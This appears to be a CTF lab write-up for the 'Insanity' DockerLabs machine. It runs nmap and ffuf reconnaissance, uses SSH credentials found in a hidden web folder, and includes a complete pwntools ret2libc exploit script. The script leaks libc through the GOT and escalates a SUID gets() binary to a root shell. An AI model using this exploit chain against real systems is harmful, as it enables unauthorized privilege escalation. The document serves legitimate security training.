Insanity
Insanity
Reconnaissance
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(d4fl0n㉿kali)-[/tmp]
└─$ sudo ./auto_deploy.sh insanity.tar
[sudo] password for d4fl0n:
## .
## ## ## ==
## ## ## ## ===
/""""""""""""""""\___/ ===
~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ / ===- ~~~
\______ o __/
\ \ __/
\____\______/
___ ____ ____ _ _ ____ ____ _ ____ ___ ____
| \ | | | |_/ |___ |__/ | |__| |__] [__
|__/ |__| |___ | \_ |___ | \ |___ | | |__] ___]
Desactivando el ASLR para poder resolver el laboratorio...
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
1
2
3
4
5
6
7
8
9
10
11
12
┌──(d4fl0n㉿kali)-[/tmp]
└─$ nmap -p- 172.17.0.2
Starting Nmap 7.98 ( https://nmap.org ) at 2026-10-20 08:33 -0400
Nmap scan report for 172.17.0.2
Host is up (0.000010s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 8E:6E:88:78:C0:7A (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 2.88 seconds
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(d4fl0n㉿kali)-[/tmp]
└─$ nmap -p 22,80 -A -O -sCV 172.17.0.2
Starting Nmap 7.98 ( https://nmap.org ) at 2026-10-20 08:34 -0400
Nmap scan report for 172.17.0.2
Host is up (0.0011s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)
| ssh-hostkey:
| 256 d5:58:45:4b:77:e5:b7:ae:6f:bd:24:9c:6b:52:df:78 (ECDSA)
|_ 256 0b:30:46:79:83:bd:6f:00:28:a0:98:32:d1:ef:9f:02 (ED25519)
80/tcp open http Apache httpd 2.4.62
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Did not follow redirect to http://insanity.dl
MAC Address: 8E:6E:88:78:C0:7A (Unknown)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 1 hop
Service Info: Host: 172.17.0.2; OS: Linux; CPE: cpe:/o:linux:linux_kernel
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(d4fl0n㉿kali)-[/tmp]
└─$ curl 172.17.0.2
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://insanity.dl">here</a>.</p>
<hr>
<address>Apache/2.4.62 (Debian) Server at 172.17.0.2 Port 80</address>
</body></html>
┌──(d4fl0n㉿kali)-[/tmp]
└─$ curl 172.17.0.2
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://insanity.dl">here</a>.</p>
<hr>
<address>Apache/2.4.62 (Debian) Server at 172.17.0.2 Port 80</address>
</body></html>
1
2
3
┌──(d4fl0n㉿kali)-[/tmp]
└─$ echo "172.17.0.2 insanity.dl" | sudo tee -a /etc/hosts
172.17.0.2 insanity.dl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌──(d4fl0n㉿kali)-[~]
└─$ ffuf -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt -u http://insanity.dl/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://insanity.dl/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
javascript [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 0ms]
[Status: 200, Size: 10945, Words: 3437, Lines: 538, Duration: 3ms]
server-status [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 6ms]
tinyp [Status: 301, Size: 310, Words: 20, Lines: 10, Duration: 1ms]
:: Progress: [1273818/1273818] :: Job [1/1] :: 9523 req/sec :: Duration: [0:02:16] :: Errors: 0 ::
1
2
3
4
5
6
┌──(d4fl0n㉿kali)-[~/Downloads]
└─$ curl insanity.dl/ultra_secret_folderkma/2334645634646.txt
Credenciales de ssh
maci:CrACkEd
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(d4fl0n㉿kali)-[~/Downloads]
└─$ ssh maci@172.17.0.2
maci@172.17.0.2's password:
Linux dockerlabs 6.18.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.18.12-1kali1 (2026-02-25) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
maci@dockerlabs:~$ id
uid=1000(maci) gid=1000(maci) groups=1000(maci),100(users)
maci@dockerlabs:~$
1
2
3
4
5
6
7
8
9
10
11
12
13
14
maci@dockerlabs:~$ find / -perm -4000 2>/dev/null
/opt/vuln
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/mount
/usr/bin/umount
/usr/bin/su
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/sudo
maci@dockerlabs:~$
1
/opt/vuln
1
2
3
4
5
maci@dockerlabs:/opt$ ls -la
total 24
drwxr-xr-x 1 root root 4096 Jan 21 2025 .
drwxr-xr-x 1 root root 4096 Oct 20 12:31 ..
-r-sr-xr-x 1 root root 16080 Jan 21 2025 vuln
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
maci@dockerlabs:~$ strings /opt/vuln
/lib64/ld-linux-x86-64.so.2
NI%"
__libc_start_main
gets
stdout
fflush
setuid
setgid
printf
libc.so.6
GLIBC_2.2.5
GLIBC_2.34
__gmon_start__
PTE1
H=8@@
Escribe tu nombre:
;*3$"
GCC: (Debian 13.3.0-1) 13.3.0
crt1.o
__abi_tag
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.0
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
app3.c
__FRAME_END__
_DYNAMIC
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
asmf
__libc_start_main@GLIBC_2.34
stdout@GLIBC_2.2.5
vuln
_edata
_fini
printf@GLIBC_2.2.5
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
gets@GLIBC_2.2.5
fflush@GLIBC_2.2.5
_end
_dl_relocate_static_pie
__bss_start
main
setgid@GLIBC_2.2.5
__TMC_END__
setuid@GLIBC_2.2.5
_init
.symtab
.strtab
.shstrtab
.interp
.note.gnu.property
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('/opt/vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
offset = 0x80 + 8 # 136
pop_rdi = 0x40116a # pop rdi ; nop ; pop rbp ; ret
pop_rbp = 0x40116c # pop rbp ; ret
ret = 0x40116d
gets_plt = 0x401040
printf_plt = 0x401030
fflush_plt = 0x401050 # <-- À VÉRIFIER avec objdump
printf_got = 0x404000
vuln = 0x40116e
bss = 0x404080
io = process('/opt/vuln')
# io = remote('IP', PORT)
io.recvuntil(b'Escribe tu nombre: ')
# gets(bss) -> "%6$s"
# printf(bss) (leak printf@got en %6$s)
# pop_rbp -> consomme le 6e arg (= 0x404000) sans le mettre dans rdi
# pop_rdi 0 ; fflush(NULL) (force le flush du buffer stdout)
# ret (réalignement pile)
# vuln (retour au menu)
payload1 = flat(
b'A' * offset,
pop_rdi, bss, 0xdeadbeef, gets_plt,
pop_rdi, bss, 0xdeadbeef, printf_plt,
pop_rbp,
printf_got,
pop_rdi, 0, 0xdeadbeef, fflush_plt,
ret,
vuln,
)
io.sendline(payload1)
io.sendline(b'%6$s')
leak = io.recvn(6)
printf_addr = u64(leak.ljust(8, b'\x00'))
log.success(f'printf leak = {hex(printf_addr)}')
libc.address = printf_addr - libc.symbols['printf']
system = libc.symbols['system']
binsh = next(libc.search(b'/bin/sh'))
log.success(f'libc base = {hex(libc.address)}')
log.success(f'system = {hex(system)}')
log.success(f'/bin/sh = {hex(binsh)}')
# ret2libc : system("/bin/sh") -- sans gadget ret, l'alignement tombe juste
payload2 = flat(
b'A' * offset,
pop_rdi, binsh, 0xdeadbeef,
system,
)
io.sendline(payload2)
io.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
maci@dockerlabs:/tmp$ python3 exploit.py
[*] '/opt/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process '/opt/vuln': pid 1923
[+] printf leak = 0x7ffff7e2d5b0
[+] libc base = 0x7ffff7ddb000
[+] system = 0x7ffff7e27490
[+] /bin/sh = 0x7ffff7f71031
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root),100(users),1000(maci)
$
Cet article est sous licence CC BY 4.0 par l'auteur.